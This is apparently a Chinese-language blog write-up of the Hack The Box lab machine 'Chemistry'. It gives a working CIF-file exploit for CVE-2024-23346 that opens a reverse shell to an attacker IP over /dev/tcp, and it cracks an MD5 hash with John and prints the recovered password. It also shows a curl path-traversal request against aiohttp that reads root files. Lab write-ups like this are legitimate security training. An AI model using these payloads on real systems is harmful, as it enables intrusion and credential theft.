HTB-Chemistry

Box Info

OSLinux
DifficultyEasy

Nmap

[root@kali] /home/kali  
❯ nmap Chemistry.htb -sS -Pn -T4 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-17 20:11 CST
Nmap scan report for Chemistry.htb (10.10.11.38)
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

开放端口:225000

进入http://chemistry.htb:5000/

可以进行CIF晶体学信息文件(Crystallographic Information File)文件上传

给出的示例文件内容是这样的

[root@kali] /home/kali/Downloads  
❯ cat example.cif 
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_b    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

CVE-2024-23346

经过Google搜寻这个CIF文件相关的CVE,我找到了这个👇

在Github里给出的Poc原型是这样的

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

有效载荷就是下面的_space_group_magn那一段,因此仿照这个Poc构造一个反弹shell(注意单引号的转义,因为最外面是有一层单引号包裹的)

[root@kali] /home/kali/Downloads  
❯ cat example.cif 
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.xx.xx/100 0>&1\'");0,0,0'

_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

设置监听,上传之后点击View查看,可以看到成功反弹到Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

instance目录下发现一个数据库文件

可以开启一个httpserver的服务将其下载下来

我在/home目录下发现了另一个用户:rosa,并且database.db中也存在他的密码hash,因此可以使用John The Ripper进行爆破密码

[root@kali] /home/kali/Chemistry  
❯ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt  --format=Raw-MD5                                             ⏎
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
unicorniosrosados (?)     
1g 0:00:00:00 DONE (2024-12-17 20:57) 1.265g/s 3774Kp/s 3774Kc/s 3774KC/s uniden206..unicornios2805
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

得到用户密码

username:rosa
password:unicorniosrosados

SSH直接登录获取到User.txt

ReadAnyFiles

上传linpeas,发现存在开放的内网端口

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                               
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      7928/bash                                                                   
tcp        0      0 0.0.0.0:9999            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   

8080端口代理出来,我这里是代理到了本地的8000端口,因为8080端口是Bursuite的默认使用端口

Server:Python/3.9 aiohttp/3.9.1

这是一个利用的点,搜索aiohttp的相关版本漏洞

找到一个目录穿越的漏洞,不过这里有一个坑,因为所有的poc都是基于/static目录进行穿越的,而这里的内网端口上没有这个目录

存在/assets目录,我们可以基于这个目录来进行目录穿越

根据上面文章里的测试一下,读取成功

这里我本来想读取密码Hash然后爆破一下root的密码的,但是好像爆不出来😂,直接读取flag

[root@kali] /home/kali/Chemistry  
❯ curl -s --path-as-is "http://127.0.0.1:8000/assets/../../../../../root/root.txt"    

Summary

User:就是简单的文件上传CVE反弹Shell,然后数据库信息泄露,爆破用户密码进行ssh登录。

RootWebserver的版本漏洞,可以造成任意文件读取,不过有前提是必须要踏板目录存在,比如说这个Machine中不存在其他Poc中的/static,所以需要借助/assets目录来进行穿越。假如没有任何可访问目录的话,应该也就无法复现这个CVE了。/etc/shadow读取出来的密码hash也无法爆破,这道题应该也无法进入RootShell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇